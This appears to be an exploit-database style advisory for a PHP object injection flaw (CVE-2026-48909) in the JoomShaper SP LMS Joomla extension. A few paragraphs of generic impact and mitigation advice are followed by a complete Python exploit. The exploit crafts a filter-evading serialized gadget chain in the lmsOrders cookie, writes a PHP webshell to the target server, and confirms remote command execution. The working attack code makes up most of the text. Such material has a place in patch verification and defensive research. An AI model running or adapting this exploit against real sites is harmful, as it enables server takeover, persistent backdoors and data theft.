Joomla Extension 4.1.4 – PHP Object Injection Vulnerability
The recently discovered vulnerability in Joomla Extension version 4.1.4, identified as CVE-2026-48909, pertains to a critical PHP object injection issue. This flaw allows attackers to exploit the extension by injecting malicious PHP objects, which can lead to unauthorized code execution and potential takeover of the affected Joomla site.
Technical Details
This vulnerability arises from improper input validation within the Joomla Extension, specifically in how it handles serialized PHP objects. When user-supplied data is not adequately sanitized, an attacker can craft a malicious payload that, when processed, results in the instantiation of arbitrary PHP objects. This can lead to various security issues, including remote code execution, data tampering, and unauthorized access to sensitive information.
For instance, an attacker could use this vulnerability to inject a payload that executes system commands or alters database entries. By exploiting this flaw, attackers can gain control over the server hosting the Joomla instance, leading to further exploitation or data breaches.
Impact
The consequences of exploiting CVE-2026-48909 can be severe. A successful attack can compromise the integrity of the entire Joomla site, allowing attackers to manipulate content, steal sensitive user data, or deploy additional malware. Furthermore, the potential for lateral movement within the network increases, posing a significant risk to organizational assets and data.
Mitigation
To protect against this vulnerability, security professionals should take immediate action by updating the Joomla Extension to the latest version that addresses CVE-2026-48909. Regularly patching and updating all extensions is crucial in maintaining a secure Joomla environment. Additionally, implementing a Web Application Firewall (WAF) can help detect and block malicious payloads targeting this vulnerability.
Moreover, it is advisable to perform regular security audits and vulnerability assessments on your Joomla installations to identify and remediate potential risks. Educating users on the importance of strong password policies and monitoring for unusual activity can further enhance security posture against such vulnerabilities.
Proof of Concept (PoC)
Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection
Affected : JoomShaper SP LMS <= 4.1.3
Fixed : JoomShaper SP LMS >= 4.1.4
Author : Amin İsayev / Proxima Cyber Security
Joomla version note:
RCE requires Joomla < 5.2.2
Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the
gadget chain — PHP Object Injection still exists in com_splms but no
known public gadget chain leads to RCE on patched Joomla versions.
Attack chain:
lmsOrders cookie
→ unserialize(base64_decode($cookie)) [com_splms/models/cart.php:28]
→ FormattedtextLogger.__destruct() [Joomla gadget]
→ File::write($path, $format)
→ webshell on disk
Joomla Input filter note:
$cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie.
Fix: pad format string so serialized total is divisible by 3 (no '=') and
iterate until base64 has no '/' (shifts encoding).
Format string uses hex2bin() to avoid forbidden chars: $ _ { } n
Usage:
python3 CVE-2026-48909_exploit.py <target> <server_path>
server_path = absolute PHP-writable path on server
Examples :
/var/www/html/tmp/x.php
/home/USER/public_html/tmp/x.php
/var/www/vhosts/site.com/httpdocs/tmp/x.php
"""
import sys
import base64
import requests
import urllib3
urllib3.disable_warnings()
CART_PATH = "/index.php?option=com_splms&view=cart"
TIMEOUT = 15
WEBSHELL = '<?php fpassthru(popen($_GET["c"],"r"));?>'
# ─── PHP serializer ───────────────────────────────────────────────────────────
def _s(s: str) -> str:
return f's:{len(s.encode())}:"{s}";'
def _pk(name: str) -> str:
"""Protected property key (null-byte notation for string concat)"""
return f'x00*x00{name}'
def _build_serialized(webshell_path: str, fmt: str) -> str:
"""Build the raw PHP serialized string (not yet base64)."""
entry = (
'O:23:"Joomla\CMS\Log\LogEntry":3:{'
's:4:"date";s:10:"1234567890";'
's:4:"time";s:1:"t";'
's:1:"f";s:3:"xxx";'
'}'
)
cn = 'Joomla\CMS\Log\Logger\FormattedtextLogger'
props = (
_s(_pk('defer')) + 'b:1;' +
_s(_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' +
_s(_pk('path')) + _s(webshell_path) +
_s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +
_s(_pk('format')) + _s(fmt) +
_s(_pk('fields')) + 'a:0:{}'
)
return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}'
def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:
"""
Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.
The filter strips '/', '=' and '+'. We avoid these by:
1. Encoding php_code as hex → no '$', '_', '{', '}', '\n' in format
2. Padding format to make total serialized length divisible by 3 → no '=' padding
3. Iterating pad size (by 3) until base64 contains no '/' chars
Returns (base64_payload, format_length).
"""
hex_code = php_code.encode().hex()
core = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'
pad_prefix = '/*'
pad_suffix = '*/;?>'
PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for target_fmt_len in range(200, 8000):
pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)
if pad_len < 0:
continue
# Quick mod-3 check with first pad_char before trying all 62
fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix
ser_probe = _build_serialized(webshell_path, fmt_probe).encode('latin-1')
if len(ser_probe) % 3 != 0:
continue # no pad_char can fix mod-3 alignment for this length
for pad_char in PAD_CHARS:
fmt = core + pad_prefix + pad_char * pad_len + pad_suffix
serialized = _build_serialized(webshell_path, fmt)
ser_bytes = serialized.encode('latin-1')
b64 = base64.b64encode(ser_bytes).decode()
if '/' not in b64 and '+' not in b64:
return b64, len(fmt)
raise RuntimeError("Could not find filter-safe payload — try a different path")
# ─── Exploit ──────────────────────────────────────────────────────────────────
def _server_path_to_url(server_path: str) -> str:
"""Strip webroot prefix to get the URL path."""
import re
# cPanel: /home[N]/USER/public_html/...
m = re.match(r'^/homed*/[^/]+/public_html(/.*)', server_path)
if m:
return m.group(1)
# Plesk: /var/www/vhosts/DOMAIN/httpdocs/...
m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)
if m:
return m.group(1)
# Standard
for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):
if server_path.startswith(prefix):
return server_path[len(prefix):]
return server_path
def exploit(target: str, server_path: str) -> None:
url_path = _server_path_to_url(server_path)
cart_url = target.rstrip('/') + CART_PATH
shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)
session = requests.Session()
session.verify = False
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
})
print(f"[*] Target : {target}")
print(f"[*] Shell path : {server_path}")
print(f"[*] Shell URL : {shell_url}")
print("[*] Building filter-safe payload...")
payload, fmt_len = build_payload(server_path, WEBSHELL)
print(f"[*] Format len : {fmt_len} bytes | Base64 len: {len(payload)}")
print(f"[*] Payload : {payload[:60]}...")
print()
try:
r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)
status = r.status_code
if status == 500:
print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)")
elif status == 200:
print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered")
else:
print(f"[?] HTTP {status}")
except requests.RequestException as e:
print(f"[!] Request failed: {e}")
return
import time; time.sleep(1)
# Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell
print("[*] Step 1: triggering fopen/fwrite loader...")
try:
r1 = session.get(shell_url, timeout=TIMEOUT)
print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)")
except requests.RequestException as e:
print(f"[!] Loader request failed: {e}")
# Step 2: verify RCE
print("[*] Step 2: checking shell...")
try:
rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)
if rv.status_code == 200 and 'uid=' in rv.text:
print(f"n[+] SHELL ACTIVE!")
print(f"[+] id: {rv.text.strip()[:200]}")
print(f"n curl -sk '{shell_url}?c=COMMAND'")
elif rv.status_code == 200 and len(rv.text.strip()) < 600:
print(f"n[~] File accessible:")
print(f" {rv.text.strip()[:300]}")
print(f"n Try again: curl -sk '{shell_url}?c=id'")
elif rv.status_code == 404:
print(f"[-] Shell not found (404) — file not written or wrong path")
print(f" Common paths: /tmp/x.php /images/x.php /cache/x.php")
elif rv.status_code == 403:
print(f"[~] 403 — file may exist but PHP not served there")
else:
print(f"[-] HTTP {rv.status_code}")
except requests.RequestException as e:
print(f"[!] Shell check failed: {e}")
def main():
if len(sys.argv) < 3:
print(__doc__)
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
if __name__ == '__main__':
main()